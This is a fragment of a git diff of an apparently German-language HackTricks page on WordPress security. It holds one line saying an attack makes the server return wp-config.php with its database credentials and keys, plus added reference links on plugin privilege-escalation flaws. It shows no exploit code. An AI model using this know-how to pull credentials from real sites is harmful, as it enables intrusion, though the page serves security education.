Der Server antwortet mit den Inhalten von `wp-config.php`, wodurch DB-Anmeldeinformationen und Authentifizierungsschlüssel offengelegt werden.
|
||||
Der Server antwortet mit dem Inhalt von `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Referenzen
|
||||
|
||||
@ -597,5 +660,8 @@ Der Server antwortet mit den Inhalten von `wp-config.php`, wodurch DB-Anmeldeinf
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user